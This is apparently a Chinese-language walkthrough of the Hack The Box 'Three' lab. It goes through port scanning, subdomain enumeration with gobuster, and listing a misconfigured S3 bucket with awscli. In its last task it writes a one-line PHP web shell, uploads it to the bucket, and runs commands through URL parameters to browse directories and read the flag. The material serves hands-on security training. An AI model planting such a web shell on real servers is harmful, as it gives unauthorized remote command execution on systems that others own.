HTB WP -Three task 1 1 2 How many TCP ports are open? 有多少个TCP端口是开放的?
这个需要用nmap扫一下端口:
1 2 nmap -sV 10.129.121.197 nmap -F 10.129.121.197(或者你想快一点,用fast参数)
但是两者对于端口的详细程度是不一样的。
回答:
task 2 1 2 What is the domain of the email address provided in the "Contact" section of the website? 该网站“联系我们”(或“联系方式”)部分提供的电子邮箱地址的域名是什么?
因为这个IP开了http端口,所以我们直接访问一下IP:
我们点contact(联系我们),email给了个域名:
task 3 1 2 In the absence of a DNS server, which Linux file can we use to resolve hostnames to IP addresses in order to be able to access the websites that point to those hostnames? 在没有 DNS 服务器的情况下,我们可以使用哪个 Linux 文件来将主机名解析为 IP 地址,以便能够访问指向这些主机名的网站?
这是responder那里学到的
两种修改方式:
1 2 sudo vim /etc/hosts sudo nano /etc/hosts
唯一要注意的就是一定要提升到管理员权限。
task 4 1 2 Which sub-domain is discovered during further enumeration? 在进一步枚举(或信息收集)过程中发现了哪个子域名?
这个我们用gobuster吧:
1 sudo apt install gobuster
还要准备字典:
对了建议安装一个大字典Seclists(我安装过了):
1 sudo git clone https://github.com/danielmiessler/SecLists.git
还是绑一下IP和域名吧(后面会解释,其实这算个好习惯):
咱们等会用子域名字典(subdomain)去枚举:
1 gobuster vhost -u http://thetoppers.htb/ -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain
解释:
1 2 3 4 5 vhost用于发现子域名(指定 Gobuster 的运行模式为 Virtual Host(虚拟主机)爆破) -u 指定URL -w指向的是你对应字典的路径, --append-domain是附加域的意思。(自动将目标 URL 中的基础域名附加到字典词条后面。) 注意一定要用域名->IP 地址的局限性:如果你把 Host 头变成 admin.10.129.121.197,目标服务器的 Web 配置(如 Nginx、Apache)绝大多数情况下并没有为这个 IP 绑定对应的虚拟主机规则,导致它只会返回默认页面或 404,从而漏掉所有真正的子域名。
就是不要用IP去查子域名,用主域名去查子域名。
找到了一个,这个就是答案:
task 5 1 2 Which service is running on the discovered sub-domain? 在发现的子域名上运行的是什么服务?
回答:
1 2 Amazon S3 s3.thetoppers.htb暴露是他是AWS S3存储桶
task 6 1 2 Which command line utility can be used to interact with the service running on the discovered sub-domain? 可以使用哪个命令行工具来与在发现的子域名上运行的服务进行交互?
回答:
1 2 3 awscli sudo apt install awscli (安装) tldr aws(可以看awscli基本的命令)
task 7 1 2 Which command is used to set up the AWS CLI installation? 哪个命令用于设置 AWS CLI 安装(或进行配置)?
回答:
task 8 1 2 What is the command used by the above utility to list all of the S3 buckets? 上面提到的实用程序(工具)用来列出所有 S3 存储桶的命令是什么?
回答:
task 9 1 2 This server is configured to run files written in what web scripting language? 这个服务器被配置为运行使用什么网页脚本语言编写的文件?
这就需要熟悉awscli的操作命令了:
输入aws s3 ls 提示我们需要configure。
先配置好(随便输入一点)。
再加端点:
加端点之前,我们也要先把子域名DNS配置对应的IP(子域名上的服务是AWS S3服务),因为是404嘛,aws也是要解析域名的:
1 aws s3 ls --endpoint-url=http://s3.thetoppers.htb s3://thetoppers.htb
1 --endpoint-url 的意思是“自定义服务器端点(Endpoint)网址”。
有index.php,是php语言写的。
task 10 1 Submit the flag located in /var/www/.
用php创建一个shell(来让我们执行命令):
1 <?php system($_GET['cmd']); ?>
按ctrl+x,y,然后回车即可保存。
我们需要把shell放进s3那个存储桶里(copy=cp):
1 aws s3 cp --endpoint-url=http://s3.thetoppers.htb shell.php s3://thetoppers.htb
1 http://thetoppers.htb/shell.php?cmd=ls
1 http://thetoppers.htb/shell.php?cmd=ls /var/www/
1 http://thetoppers.htb/shell.php?cmd=cat /var/www/flag.txt
除此之外,我们还可以干其他事情,比如路径穿越到根目录(冷知识:+可以代替空格):
1 http://thetoppers.htb/shell.php?cmd=ls+../
1 http://thetoppers.htb/shell.php?cmd=ls+../../
1 http://thetoppers.htb/shell.php?cmd=ls+../../../
1 http://thetoppers.htb/shell.php?cmd=ls+images
当然通过刚才我们可以看出来,获取flag也不止一个路径:
1 http://thetoppers.htb/shell.php?cmd=cat+../flag.txt